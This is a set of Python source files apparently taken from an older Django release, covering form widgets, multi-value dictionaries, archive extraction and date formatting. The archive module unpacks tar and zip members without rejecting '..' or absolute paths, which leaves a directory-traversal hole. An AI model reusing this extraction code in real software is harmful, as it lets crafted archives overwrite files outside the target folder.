            '2': True,
            True: True,
            'True': True,
            '3': False,
            'False': False,
            False: False,
        }.get(value)


class SelectMultiple(Select):
    allow_multiple_selected = True

    def render(self, name, value, attrs=None):
        if value is None:
            value = []
        final_attrs = self.build_attrs(attrs, name=name)
        output = [format_html('<select multiple="multiple"{}>', flatatt(final_attrs))]
        options = self.render_options(value)
        if options:
            output.append(options)
        output.append('</select>')
        return mark_safe('\n'.join(output))

    def value_from_datadict(self, data, files, name):
        try:
            getter = data.getlist
        except AttributeError:
            getter = data.get
        return getter(name)


@html_safe
@python_2_unicode_compatible
class ChoiceInput(SubWidget):
    """
    An object used by ChoiceFieldRenderer that represents a single
    <input type='$input_type'>.
    """
    input_type = None  # Subclasses must define this

    def __init__(self, name, value, attrs, choice, index):
        self.name = name
        self.value = value
        self.attrs = attrs
        self.choice_value = force_text(choice[0])
        self.choice_label = force_text(choice[1])
        self.index = index
        if 'id' in self.attrs:
            self.attrs['id'] += "_%d" % self.index

    def __str__(self):
        return self.render()

    def render(self, name=None, value=None, attrs=None):
        if self.id_for_label:
            label_for = format_html(' for="{}"', self.id_for_label)
        else:
            label_for = ''
        attrs = dict(self.attrs, **attrs) if attrs else self.attrs
        return format_html(
            '<label{}>{} {}</label>', label_for, self.tag(attrs), self.choice_label
        )

    def is_checked(self):
        return self.value == self.choice_value

    def tag(self, attrs=None):
        attrs = attrs or self.attrs
        final_attrs = dict(
            attrs,
            type=self.input_type,
            name=self.name,
            value=self.choice_value,
            checked=self.is_checked(),
        )
        return format_html('<input{} />', flatatt(final_attrs))

    @property
    def id_for_label(self):
        return self.attrs.get('id', '')


class RadioChoiceInput(ChoiceInput):
    input_type = 'radio'

    def __init__(self, *args, **kwargs):
        super(RadioChoiceInput, self).__init__(*args, **kwargs)
        self.value = force_text(self.value)


class CheckboxChoiceInput(ChoiceInput):
    input_type = 'checkbox'

    def __init__(self, *args, **kwargs):
        super(CheckboxChoiceInput, self).__init__(*args, **kwargs)
        self.value = set(force_text(v) for v in self.value)

    def is_checked(self):
        return self.choice_value in self.value


@html_safe
@python_2_unicode_compatible
class ChoiceFieldRenderer(object):
    """
    An object used by RadioSelect to enable customization of radio widgets.
    """

    choice_input_class = None
    outer_html = '<ul{id_attr}>{content}</ul>'
    inner_html = '<li>{choice_value}{sub_widgets}</li>'

    def __init__(self, name, value, attrs, choices):
        self.name = name
        self.value = value
        self.attrs = attrs
        self.choices = choices

    def __getitem__(self, idx):
        return list(self)[idx]

    def __iter__(self):
        for idx, choice in enumerate(self.choices):
            yield self.choice_input_class(self.name, self.value, self.attrs.copy(), choice, idx)

    def __str__(self):
        return self.render()

    def render(self):
        """
        Outputs a <ul> for this set of choice fields.
        If an id was given to the field, it is applied to the <ul> (each
        item in the list will get an id of `$id_$i`).
        """
        id_ = self.attrs.get('id')
        output = []
        for i, choice in enumerate(self.choices):
            choice_value, choice_label = choice
            if isinstance(choice_label, (tuple, list)):
                attrs_plus = self.attrs.copy()
                if id_:
                    attrs_plus['id'] += '_{}'.format(i)
                sub_ul_renderer = self.__class__(
                    name=self.name,
                    value=self.value,
                    attrs=attrs_plus,
                    choices=choice_label,
                )
                sub_ul_renderer.choice_input_class = self.choice_input_class
                output.append(format_html(
                    self.inner_html, choice_value=choice_value,
                    sub_widgets=sub_ul_renderer.render(),
                ))
            else:
                w = self.choice_input_class(self.name, self.value, self.attrs.copy(), choice, i)
                output.append(format_html(self.inner_html, choice_value=force_text(w), sub_widgets=''))
        return format_html(
            self.outer_html,
            id_attr=format_html(' id="{}"', id_) if id_ else '',
            content=mark_safe('\n'.join(output)),
        )


class RadioFieldRenderer(ChoiceFieldRenderer):
    choice_input_class = RadioChoiceInput


class CheckboxFieldRenderer(ChoiceFieldRenderer):
    choice_input_class = CheckboxChoiceInput


class RendererMixin(object):
    renderer = None  # subclasses must define this
    _empty_value = None

    def __init__(self, *args, **kwargs):
        # Override the default renderer if we were passed one.
        renderer = kwargs.pop('renderer', None)
        if renderer:
            self.renderer = renderer
        super(RendererMixin, self).__init__(*args, **kwargs)

    def subwidgets(self, name, value, attrs=None):
        for widget in self.get_renderer(name, value, attrs):
            yield widget

    def get_renderer(self, name, value, attrs=None):
        """Returns an instance of the renderer."""
        if value is None:
            value = self._empty_value
        final_attrs = self.build_attrs(attrs)
        return self.renderer(name, value, final_attrs, self.choices)

    def render(self, name, value, attrs=None):
        return self.get_renderer(name, value, attrs).render()

    def id_for_label(self, id_):
        # Widgets using this RendererMixin are made of a collection of
        # subwidgets, each with their own <label>, and distinct ID.
        # The IDs are made distinct by y "_X" suffix, where X is the zero-based
        # index of the choice field. Thus, the label for the main widget should
        # reference the first subwidget, hence the "_0" suffix.
        if id_:
            id_ += '_0'
        return id_


class RadioSelect(RendererMixin, Select):
    renderer = RadioFieldRenderer
    _empty_value = ''


class CheckboxSelectMultiple(RendererMixin, SelectMultiple):
    renderer = CheckboxFieldRenderer
    _empty_value = []

    def use_required_attribute(self, initial):
        # Don't use the 'required' attribute because browser validation would
        # require all checkboxes to be checked instead of at least one.
        return False


class MultiWidget(Widget):
    """
    A widget that is composed of multiple widgets.

    Its render() method is different than other widgets', because it has to
    figure out how to split a single value for display in multiple widgets.
    The ``value`` argument can be one of two things:

        * A list.
        * A normal value (e.g., a string) that has been "compressed" from
          a list of values.

    In the second case -- i.e., if the value is NOT a list -- render() will
    first "decompress" the value into a list before rendering it. It does so by
    calling the decompress() method, which MultiWidget subclasses must
    implement. This method takes a single "compressed" value and returns a
    list.

    When render() does its HTML rendering, each value in the list is rendered
    with the corresponding widget -- the first value is rendered in the first
    widget, the second value is rendered in the second widget, etc.

    Subclasses may implement format_output(), which takes the list of rendered
    widgets and returns a string of HTML that formats them any way you'd like.

    You'll probably want to use this class with MultiValueField.
    """
    def __init__(self, widgets, attrs=None):
        self.widgets = [w() if isinstance(w, type) else w for w in widgets]
        super(MultiWidget, self).__init__(attrs)

    @property
    def is_hidden(self):
        return all(w.is_hidden for w in self.widgets)

    def render(self, name, value, attrs=None):
        if self.is_localized:
            for widget in self.widgets:
                widget.is_localized = self.is_localized
        # value is a list of values, each corresponding to a widget
        # in self.widgets.
        if not isinstance(value, list):
            value = self.decompress(value)
        output = []
        final_attrs = self.build_attrs(attrs)
        id_ = final_attrs.get('id')
        for i, widget in enumerate(self.widgets):
            try:
                widget_value = value[i]
            except IndexError:
                widget_value = None
            if id_:
                final_attrs = dict(final_attrs, id='%s_%s' % (id_, i))
            output.append(widget.render(name + '_%s' % i, widget_value, final_attrs))
        return mark_safe(self.format_output(output))

    def id_for_label(self, id_):
        # See the comment for RadioSelect.id_for_label()
        if id_:
            id_ += '_0'
        return id_

    def value_from_datadict(self, data, files, name):
        return [widget.value_from_datadict(data, files, name + '_%s' % i) for i, widget in enumerate(self.widgets)]

    def format_output(self, rendered_widgets):
        """
        Given a list of rendered widgets (as strings), returns a Unicode string
        representing the HTML for the whole lot.

        This hook allows you to format the HTML design of the widgets, if
        needed.
        """
        return ''.join(rendered_widgets)

    def decompress(self, value):
        """
        Returns a list of decompressed values for the given compressed value.
        The given value can be assumed to be valid, but not necessarily
        non-empty.
        """
        raise NotImplementedError('Subclasses must implement this method.')

    def _get_media(self):
        "Media for a multiwidget is the combination of all media of the subwidgets"
        media = Media()
        for w in self.widgets:
            media = media + w.media
        return media
    media = property(_get_media)

    def __deepcopy__(self, memo):
        obj = super(MultiWidget, self).__deepcopy__(memo)
        obj.widgets = copy.deepcopy(self.widgets)
        return obj

    @property
    def needs_multipart_form(self):
        return any(w.needs_multipart_form for w in self.widgets)


class SplitDateTimeWidget(MultiWidget):
    """
    A Widget that splits datetime input into two <input type="text"> boxes.
    """
    supports_microseconds = False

    def __init__(self, attrs=None, date_format=None, time_format=None):
        widgets = (
            DateInput(attrs=attrs, format=date_format),
            TimeInput(attrs=attrs, format=time_format),
        )
        super(SplitDateTimeWidget, self).__init__(widgets, attrs)

    def decompress(self, value):
        if value:
            value = to_current_timezone(value)
            return [value.date(), value.time().replace(microsecond=0)]
        return [None, None]


class SplitHiddenDateTimeWidget(SplitDateTimeWidget):
    """
    A Widget that splits datetime input into two <input type="hidden"> inputs.
    """
    def __init__(self, attrs=None, date_format=None, time_format=None):
        super(SplitHiddenDateTimeWidget, self).__init__(attrs, date_format, time_format)
        for widget in self.widgets:
            widget.input_type = 'hidden'


class SelectDateWidget(Widget):
    """
    A Widget that splits date input into three <select> boxes.

    This also serves as an example of a Widget that has more than one HTML
    element and hence implements value_from_datadict.
    """
    none_value = (0, '---')
    month_field = '%s_month'
    day_field = '%s_day'
    year_field = '%s_year'
    select_widget = Select

    date_re = re.compile(r'(\d{4})-(\d\d?)-(\d\d?)$')

    def __init__(self, attrs=None, years=None, months=None, empty_label=None):
        self.attrs = attrs or {}

        # Optional list or tuple of years to use in the "year" select box.
        if years:
            self.years = years
        else:
            this_year = datetime.date.today().year
            self.years = range(this_year, this_year + 10)

        # Optional dict of months to use in the "month" select box.
        if months:
            self.months = months
        else:
            self.months = MONTHS

        # Optional string, list, or tuple to use as empty_label.
        if isinstance(empty_label, (list, tuple)):
            if not len(empty_label) == 3:
                raise ValueError('empty_label list/tuple must have 3 elements.')

            self.year_none_value = (0, empty_label[0])
            self.month_none_value = (0, empty_label[1])
            self.day_none_value = (0, empty_label[2])
        else:
            if empty_label is not None:
                self.none_value = (0, empty_label)

            self.year_none_value = self.none_value
            self.month_none_value = self.none_value
            self.day_none_value = self.none_value

    @staticmethod
    def _parse_date_fmt():
        fmt = get_format('DATE_FORMAT')
        escaped = False
        for char in fmt:
            if escaped:
                escaped = False
            elif char == '\\':
                escaped = True
            elif char in 'Yy':
                yield 'year'
            elif char in 'bEFMmNn':
                yield 'month'
            elif char in 'dj':
                yield 'day'

    def render(self, name, value, attrs=None):
        try:
            year_val, month_val, day_val = value.year, value.month, value.day
        except AttributeError:
            year_val = month_val = day_val = None
            if isinstance(value, six.string_types):
                if settings.USE_L10N:
                    try:
                        input_format = get_format('DATE_INPUT_FORMATS')[0]
                        v = datetime.datetime.strptime(force_str(value), input_format)
                        year_val, month_val, day_val = v.year, v.month, v.day
                    except ValueError:
                        pass
                if year_val is None:
                    match = self.date_re.match(value)
                    if match:
                        year_val, month_val, day_val = [int(val) for val in match.groups()]
        html = {}
        choices = [(i, i) for i in self.years]
        html['year'] = self.create_select(name, self.year_field, value, year_val, choices, self.year_none_value)
        choices = list(self.months.items())
        html['month'] = self.create_select(name, self.month_field, value, month_val, choices, self.month_none_value)
        choices = [(i, i) for i in range(1, 32)]
        html['day'] = self.create_select(name, self.day_field, value, day_val, choices, self.day_none_value)

        output = []
        for field in self._parse_date_fmt():
            output.append(html[field])
        return mark_safe('\n'.join(output))

    def id_for_label(self, id_):
        for first_select in self._parse_date_fmt():
            return '%s_%s' % (id_, first_select)
        else:
            return '%s_month' % id_

    def value_from_datadict(self, data, files, name):
        y = data.get(self.year_field % name)
        m = data.get(self.month_field % name)
        d = data.get(self.day_field % name)
        if y == m == d == "0":
            return None
        if y and m and d:
            if settings.USE_L10N:
                input_format = get_format('DATE_INPUT_FORMATS')[0]
                try:
                    date_value = datetime.date(int(y), int(m), int(d))
                except ValueError:
                    return '%s-%s-%s' % (y, m, d)
                else:
                    date_value = datetime_safe.new_date(date_value)
                    return date_value.strftime(input_format)
            else:
                return '%s-%s-%s' % (y, m, d)
        return data.get(name)

    def create_select(self, name, field, value, val, choices, none_value):
        if 'id' in self.attrs:
            id_ = self.attrs['id']
        else:
            id_ = 'id_%s' % name
        if not self.is_required:
            choices.insert(0, none_value)
        local_attrs = self.build_attrs(id=field % id_)
        s = self.select_widget(choices=choices)
        select_html = s.render(field % name, val, local_attrs)
        return select_html






import warnings

from django.forms.widgets import SelectDateWidget
from django.utils.deprecation import RemovedInDjango20Warning

__all__ = ['SelectDateWidget']


warnings.warn(
    "django.forms.extras is deprecated. You can find "
    "SelectDateWidget in django.forms.widgets instead.",
    RemovedInDjango20Warning, stacklevel=2)






from django.forms.widgets import SelectDateWidget  # NOQA






"""
Providing iterator functions that are not in all version of Python we support.
Where possible, we try to use the system-native version and only fall back to
these implementations if necessary.
"""


def is_iterable(x):
    "A implementation independent way of checking for iterables"
    try:
        iter(x)
    except TypeError:
        return False
    else:
        return True






import copy
from collections import OrderedDict

from django.utils import six


class OrderedSet(object):
    """
    A set which keeps the ordering of the inserted items.
    Currently backs onto OrderedDict.
    """

    def __init__(self, iterable=None):
        self.dict = OrderedDict(((x, None) for x in iterable) if iterable else [])

    def add(self, item):
        self.dict[item] = None

    def remove(self, item):
        del self.dict[item]

    def discard(self, item):
        try:
            self.remove(item)
        except KeyError:
            pass

    def __iter__(self):
        return iter(self.dict.keys())

    def __contains__(self, item):
        return item in self.dict

    def __bool__(self):
        return bool(self.dict)

    def __nonzero__(self):      # Python 2 compatibility
        return type(self).__bool__(self)

    def __len__(self):
        return len(self.dict)


class MultiValueDictKeyError(KeyError):
    pass


class MultiValueDict(dict):
    """
    A subclass of dictionary customized to handle multiple values for the
    same key.

    >>> d = MultiValueDict({'name': ['Adrian', 'Simon'], 'position': ['Developer']})
    >>> d['name']
    'Simon'
    >>> d.getlist('name')
    ['Adrian', 'Simon']
    >>> d.getlist('doesnotexist')
    []
    >>> d.getlist('doesnotexist', ['Adrian', 'Simon'])
    ['Adrian', 'Simon']
    >>> d.get('lastname', 'nonexistent')
    'nonexistent'
    >>> d.setlist('lastname', ['Holovaty', 'Willison'])

    This class exists to solve the irritating problem raised by cgi.parse_qs,
    which returns a list for every key, even though most Web forms submit
    single name-value pairs.
    """
    def __init__(self, key_to_list_mapping=()):
        super(MultiValueDict, self).__init__(key_to_list_mapping)

    def __repr__(self):
        return "<%s: %s>" % (self.__class__.__name__,
                             super(MultiValueDict, self).__repr__())

    def __getitem__(self, key):
        """
        Returns the last data value for this key, or [] if it's an empty list;
        raises KeyError if not found.
        """
        try:
            list_ = super(MultiValueDict, self).__getitem__(key)
        except KeyError:
            raise MultiValueDictKeyError(repr(key))
        try:
            return list_[-1]
        except IndexError:
            return []

    def __setitem__(self, key, value):
        super(MultiValueDict, self).__setitem__(key, [value])

    def __copy__(self):
        return self.__class__([
            (k, v[:])
            for k, v in self.lists()
        ])

    def __deepcopy__(self, memo=None):
        if memo is None:
            memo = {}
        result = self.__class__()
        memo[id(self)] = result
        for key, value in dict.items(self):
            dict.__setitem__(result, copy.deepcopy(key, memo),
                             copy.deepcopy(value, memo))
        return result

    def __getstate__(self):
        obj_dict = self.__dict__.copy()
        obj_dict['_data'] = {k: self.getlist(k) for k in self}
        return obj_dict

    def __setstate__(self, obj_dict):
        data = obj_dict.pop('_data', {})
        for k, v in data.items():
            self.setlist(k, v)
        self.__dict__.update(obj_dict)

    def get(self, key, default=None):
        """
        Returns the last data value for the passed key. If key doesn't exist
        or value is an empty list, then default is returned.
        """
        try:
            val = self[key]
        except KeyError:
            return default
        if val == []:
            return default
        return val

    def getlist(self, key, default=None):
        """
        Returns the list of values for the passed key. If key doesn't exist,
        then a default value is returned.
        """
        try:
            return super(MultiValueDict, self).__getitem__(key)
        except KeyError:
            if default is None:
                return []
            return default

    def setlist(self, key, list_):
        super(MultiValueDict, self).__setitem__(key, list_)

    def setdefault(self, key, default=None):
        if key not in self:
            self[key] = default
            # Do not return default here because __setitem__() may store
            # another value -- QueryDict.__setitem__() does. Look it up.
        return self[key]

    def setlistdefault(self, key, default_list=None):
        if key not in self:
            if default_list is None:
                default_list = []
            self.setlist(key, default_list)
            # Do not return default_list here because setlist() may store
            # another value -- QueryDict.setlist() does. Look it up.
        return self.getlist(key)

    def appendlist(self, key, value):
        """Appends an item to the internal list associated with key."""
        self.setlistdefault(key).append(value)

    def _iteritems(self):
        """
        Yields (key, value) pairs, where value is the last item in the list
        associated with the key.
        """
        for key in self:
            yield key, self[key]

    def _iterlists(self):
        """Yields (key, list) pairs."""
        return six.iteritems(super(MultiValueDict, self))

    def _itervalues(self):
        """Yield the last value on every key list."""
        for key in self:
            yield self[key]

    if six.PY3:
        items = _iteritems
        lists = _iterlists
        values = _itervalues
    else:
        iteritems = _iteritems
        iterlists = _iterlists
        itervalues = _itervalues

        def items(self):
            return list(self.iteritems())

        def lists(self):
            return list(self.iterlists())

        def values(self):
            return list(self.itervalues())

    def copy(self):
        """Returns a shallow copy of this object."""
        return copy.copy(self)

    def update(self, *args, **kwargs):
        """
        update() extends rather than replaces existing key lists.
        Also accepts keyword args.
        """
        if len(args) > 1:
            raise TypeError("update expected at most 1 arguments, got %d" % len(args))
        if args:
            other_dict = args[0]
            if isinstance(other_dict, MultiValueDict):
                for key, value_list in other_dict.lists():
                    self.setlistdefault(key).extend(value_list)
            else:
                try:
                    for key, value in other_dict.items():
                        self.setlistdefault(key).append(value)
                except TypeError:
                    raise ValueError("MultiValueDict.update() takes either a MultiValueDict or dictionary")
        for key, value in six.iteritems(kwargs):
            self.setlistdefault(key).append(value)

    def dict(self):
        """
        Returns current object as a dict with singular values.
        """
        return {key: self[key] for key in self}


class ImmutableList(tuple):
    """
    A tuple-like object that raises useful errors when it is asked to mutate.

    Example::

        >>> a = ImmutableList(range(5), warning="You cannot mutate this.")
        >>> a[3] = '4'
        Traceback (most recent call last):
            ...
        AttributeError: You cannot mutate this.
    """

    def __new__(cls, *args, **kwargs):
        if 'warning' in kwargs:
            warning = kwargs['warning']
            del kwargs['warning']
        else:
            warning = 'ImmutableList object is immutable.'
        self = tuple.__new__(cls, *args, **kwargs)
        self.warning = warning
        return self

    def complain(self, *wargs, **kwargs):
        if isinstance(self.warning, Exception):
            raise self.warning
        else:
            raise AttributeError(self.warning)

    # All list mutation functions complain.
    __delitem__ = complain
    __delslice__ = complain
    __iadd__ = complain
    __imul__ = complain
    __setitem__ = complain
    __setslice__ = complain
    append = complain
    extend = complain
    insert = complain
    pop = complain
    remove = complain
    sort = complain
    reverse = complain


class DictWrapper(dict):
    """
    Wraps accesses to a dictionary so that certain values (those starting with
    the specified prefix) are passed through a function before being returned.
    The prefix is removed before looking up the real value.

    Used by the SQL construction code to ensure that values are correctly
    quoted before being used.
    """
    def __init__(self, data, func, prefix):
        super(DictWrapper, self).__init__(data)
        self.func = func
        self.prefix = prefix

    def __getitem__(self, key):
        """
        Retrieves the real value after stripping the prefix string (if
        present). If the prefix is present, pass the value through self.func
        before returning, otherwise return the raw value.
        """
        if key.startswith(self.prefix):
            use_func = True
            key = key[len(self.prefix):]
        else:
            use_func = False
        value = super(DictWrapper, self).__getitem__(key)
        if use_func:
            return self.func(value)
        return value






"""
Based on "python-archive" -- http://pypi.python.org/pypi/python-archive/

Copyright (c) 2010 Gary Wilson Jr. <gary.wilson@gmail.com> and contributors.

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
"""
import os
import shutil
import tarfile
import zipfile

from django.utils import six


class ArchiveException(Exception):
    """
    Base exception class for all archive errors.
    """


class UnrecognizedArchiveFormat(ArchiveException):
    """
    Error raised when passed file is not a recognized archive format.
    """


def extract(path, to_path=''):
    """
    Unpack the tar or zip file at the specified path to the directory
    specified by to_path.
    """
    with Archive(path) as archive:
        archive.extract(to_path)


class Archive(object):
    """
    The external API class that encapsulates an archive implementation.
    """
    def __init__(self, file):
        self._archive = self._archive_cls(file)(file)

    @staticmethod
    def _archive_cls(file):
        cls = None
        if isinstance(file, six.string_types):
            filename = file
        else:
            try:
                filename = file.name
            except AttributeError:
                raise UnrecognizedArchiveFormat(
                    "File object not a recognized archive format.")
        base, tail_ext = os.path.splitext(filename.lower())
        cls = extension_map.get(tail_ext)
        if not cls:
            base, ext = os.path.splitext(base)
            cls = extension_map.get(ext)
        if not cls:
            raise UnrecognizedArchiveFormat(
                "Path not a recognized archive format: %s" % filename)
        return cls

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        self.close()

    def extract(self, to_path=''):
        self._archive.extract(to_path)

    def list(self):
        self._archive.list()

    def close(self):
        self._archive.close()


class BaseArchive(object):
    """
    Base Archive class.  Implementations should inherit this class.
    """
    def split_leading_dir(self, path):
        path = str(path)
        path = path.lstrip('/').lstrip('\\')
        if '/' in path and (('\\' in path and path.find('/') < path.find('\\')) or '\\' not in path):
            return path.split('/', 1)
        elif '\\' in path:
            return path.split('\\', 1)
        else:
            return path, ''

    def has_leading_dir(self, paths):
        """
        Returns true if all the paths have the same leading path name
        (i.e., everything is in one subdirectory in an archive)
        """
        common_prefix = None
        for path in paths:
            prefix, rest = self.split_leading_dir(path)
            if not prefix:
                return False
            elif common_prefix is None:
                common_prefix = prefix
            elif prefix != common_prefix:
                return False
        return True

    def extract(self):
        raise NotImplementedError('subclasses of BaseArchive must provide an extract() method')

    def list(self):
        raise NotImplementedError('subclasses of BaseArchive must provide a list() method')


class TarArchive(BaseArchive):

    def __init__(self, file):
        self._archive = tarfile.open(file)

    def list(self, *args, **kwargs):
        self._archive.list(*args, **kwargs)

    def extract(self, to_path):
        # note: python<=2.5 doesn't seem to know about pax headers, filter them
        members = [member for member in self._archive.getmembers()
                   if member.name != 'pax_global_header']
        leading = self.has_leading_dir(x.name for x in members)
        for member in members:
            name = member.name
            if leading:
                name = self.split_leading_dir(name)[1]
            filename = os.path.join(to_path, name)
            if member.isdir():
                if filename and not os.path.exists(filename):
                    os.makedirs(filename)
            else:
                try:
                    extracted = self._archive.extractfile(member)
                except (KeyError, AttributeError) as exc:
                    # Some corrupt tar files seem to produce this
                    # (specifically bad symlinks)
                    print("In the tar file %s the member %s is invalid: %s" %
                          (name, member.name, exc))
                else:
                    dirname = os.path.dirname(filename)
                    if dirname and not os.path.exists(dirname):
                        os.makedirs(dirname)
                    with open(filename, 'wb') as outfile:
                        shutil.copyfileobj(extracted, outfile)
                finally:
                    if extracted:
                        extracted.close()

    def close(self):
        self._archive.close()


class ZipArchive(BaseArchive):

    def __init__(self, file):
        self._archive = zipfile.ZipFile(file)

    def list(self, *args, **kwargs):
        self._archive.printdir(*args, **kwargs)

    def extract(self, to_path):
        namelist = self._archive.namelist()
        leading = self.has_leading_dir(namelist)
        for name in namelist:
            data = self._archive.read(name)
            if leading:
                name = self.split_leading_dir(name)[1]
            filename = os.path.join(to_path, name)
            dirname = os.path.dirname(filename)
            if dirname and not os.path.exists(dirname):
                os.makedirs(dirname)
            if filename.endswith(('/', '\\')):
                # A directory
                if not os.path.exists(filename):
                    os.makedirs(filename)
            else:
                with open(filename, 'wb') as outfile:
                    outfile.write(data)

    def close(self):
        self._archive.close()

extension_map = {
    '.tar': TarArchive,
    '.tar.bz2': TarArchive,
    '.tar.gz': TarArchive,
    '.tgz': TarArchive,
    '.tz2': TarArchive,
    '.zip': ZipArchive,
}






"""
PHP date() style date formatting
See http://www.php.net/date for format strings

Usage:
>>> import datetime
>>> d = datetime.datetime.now()
>>> df = DateFormat(d)
>>> print(df.format('jS F Y H:i'))
7th October 2003 11:39
>>>
"""
from __future__ import unicode_literals

import calendar
import datetime
import re
import time

from django.utils import six
from django.utils.dates import (
    MONTHS, MONTHS_3, MONTHS_ALT, MONTHS_AP, WEEKDAYS, WEEKDAYS_ABBR,
)
from django.utils.encoding import force_text
from django.utils.timezone import get_default_timezone, is_aware, is_naive
from django.utils.translation import ugettext as _

re_formatchars = re.compile(r'(?<!\\)([aAbBcdDeEfFgGhHiIjlLmMnNoOPrsStTUuwWyYzZ])')
re_escaped = re.compile(r'\\(.)')


class Formatter(object):
    def format(self, formatstr):
        pieces = []
        for i, piece in enumerate(re_formatchars.split(force_text(formatstr))):
            if i % 2:
                if type(self.data) is datetime.date and hasattr(TimeFormat, piece):
                    raise TypeError(
                        "The format for date objects may not contain "
                        "time-related format specifiers (found '%s')." % piece
                    )
                pieces.append(force_text(getattr(self, piece)()))
            elif piece:
                pieces.append(re_escaped.sub(r'\1', piece))
        return ''.join(pieces)


class TimeFormat(Formatter):

    def __init__(self, obj):
        self.data = obj
        self.timezone = None

        # We only support timezone when formatting datetime objects,
        # not date objects (timezone information not appropriate),
        # or time objects (against established django policy).
        if isinstance(obj, datetime.datetime):
            if is_naive(obj):
                self.timezone = get_default_timezone()
            else:
                self.timezone = obj.tzinfo

    def a(self):
        "'a.m.' or 'p.m.'"
        if self.data.hour > 11:
            return _('p.m.')
        return _('a.m.')

    def A(self):
        "'AM' or 'PM'"
        if self.data.hour > 11:
            return _('PM')
        return _('AM')

    def B(self):
        "Swatch Internet time"
        raise NotImplementedError('may be implemented in a future release')

    def e(self):
        """
        Timezone name.

        If timezone information is not available, this method returns
        an empty string.
        """
        if not self.timezone:
            return ""

        try:
            if hasattr(self.data, 'tzinfo') and self.data.tzinfo:
                # Have to use tzinfo.tzname and not datetime.tzname
                # because datatime.tzname does not expect Unicode
                return self.data.tzinfo.tzname(self.data) or ""
        except NotImplementedError:
            pass
        return ""

    def f(self):
        """
        Time, in 12-hour hours and minutes, with minutes left off if they're
        zero.
        Examples: '1', '1:30', '2:05', '2'
        Proprietary extension.
        """
        if self.data.minute == 0:
            return self.g()
        return '%s:%s' % (self.g(), self.i())

    def g(self):
        "Hour, 12-hour format without leading zeros; i.e. '1' to '12'"
        if self.data.hour == 0:
            return 12
        if self.data.hour > 12:
            return self.data.hour - 12
        return self.data.hour

    def G(self):
        "Hour, 24-hour format without leading zeros; i.e. '0' to '23'"
        return self.data.hour

    def h(self):
        "Hour, 12-hour format; i.e. '01' to '12'"
        return '%02d' % self.g()

    def H(self):
        "Hour, 24-hour format; i.e. '00' to '23'"
        return '%02d' % self.G()

    def i(self):
        "Minutes; i.e. '00' to '59'"
        return '%02d' % self.data.minute

    def O(self):
        """
        Difference to Greenwich time in hours; e.g. '+0200', '-0430'.

        If timezone information is not available, this method returns
        an empty string.
        """
        if not self.timezone:
            return ""

        seconds = self.Z()
        if seconds == "":
            return ""
        sign = '-' if seconds < 0 else '+'
        seconds = abs(seconds)
        return "%s%02d%02d" % (sign, seconds // 3600, (seconds // 60) % 60)

    def P(self):
        """
        Time, in 12-hour hours, minutes and 'a.m.'/'p.m.', with minutes left off
        if they're zero and the strings 'midnight' and 'noon' if appropriate.
        Examples: '1 a.m.', '1:30 p.m.', 'midnight', 'noon', '12:30 p.m.'
        Proprietary extension.
        """
        if self.data.minute == 0 and self.data.hour == 0:
            return _('midnight')
        if self.data.minute == 0 and self.data.hour == 12:
            return _('noon')
        return '%s %s' % (self.f(), self.a())

    def s(self):
        "Seconds; i.e. '00' to '59'"
        return '%02d' % self.data.second

    def T(self):
        """
        Time zone of this machine; e.g. 'EST' or 'MDT'.

        If timezone information is not available, this method returns
        an empty string.
        """
        if not self.timezone:
            return ""

        name = None
        try:
            name = self.timezone.tzname(self.data)
        except Exception:
            # pytz raises AmbiguousTimeError during the autumn DST change.
            # This happens mainly when __init__ receives a naive datetime
            # and sets self.timezone = get_default_timezone().
            pass
        if name is None:
            name = self.format('O')
        return six.text_type(name)

    def u(self):
        "Microseconds; i.e. '000000' to '999999'"
        return '%06d' % self.data.microsecond

    def Z(self):
        """
        Time zone offset in seconds (i.e. '-43200' to '43200'). The offset for
        timezones west of UTC is always negative, and for those east of UTC is
        always positive.

        If timezone information is not available, this method returns
        an empty string.
        """
        if not self.timezone:
            return ""

        try:
            offset = self.timezone.utcoffset(self.data)
        except Exception:
            # pytz raises AmbiguousTimeError during the autumn DST change.
            # This happens mainly when __init__ receives a naive datetime
            # and sets self.timezone = get_default_timezone().
            return ""

        # `offset` is a datetime.timedelta. For negative values (to the west of
        # UTC) only days can be negative (days=-1) and seconds are always
        # positive. e.g. UTC-1 -> timedelta(days=-1, seconds=82800, microseconds=0)
        # Positive offsets have days=0
        return offset.days * 86400 + offset.seconds


class DateFormat(TimeFormat):
    year_days = [None, 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334]

    def b(self):
        "Month, textual, 3 letters, lowercase; e.g. 'jan'"
        return MONTHS_3[self.data.month]

    def c(self):
        """
        ISO 8601 Format
        Example : '2008-01-02T10:30:00.000123'
        """
        return self.data.isoformat()

    def d(self):
        "Day of the month, 2 digits with leading zeros; i.e. '01' to '31'"
        return '%02d' % self.data.day

    def D(self):
        "Day of the week, textual, 3 letters; e.g. 'Fri'"
        return WEEKDAYS_ABBR[self.data.weekday()]

    def E(self):
        "Alternative month names as required by some locales. Proprietary extension."
        return MONTHS_ALT[self.data.month]

    def F(self):
        "Month, textual, long; e.g. 'January'"
        return MONTHS[self.data.month]

    def I(self):
        "'1' if Daylight Savings Time, '0' otherwise."
        try:
            if self.timezone and self.timezone.dst(self.data):
                return '1'
            else:
                return '0'
        except Exception:
            # pytz raises AmbiguousTimeError during the autumn DST change.
            # This happens mainly when __init__ receives a naive datetime
            # and sets self.timezone = get_default_timezone().
            return ''

    def j(self):
        "Day of the month without leading zeros; i.e. '1' to '31'"
        return self.data.day

    def l(self):
        "Day of the week, textual, long; e.g. 'Friday'"
        return WEEKDAYS[self.data.weekday()]
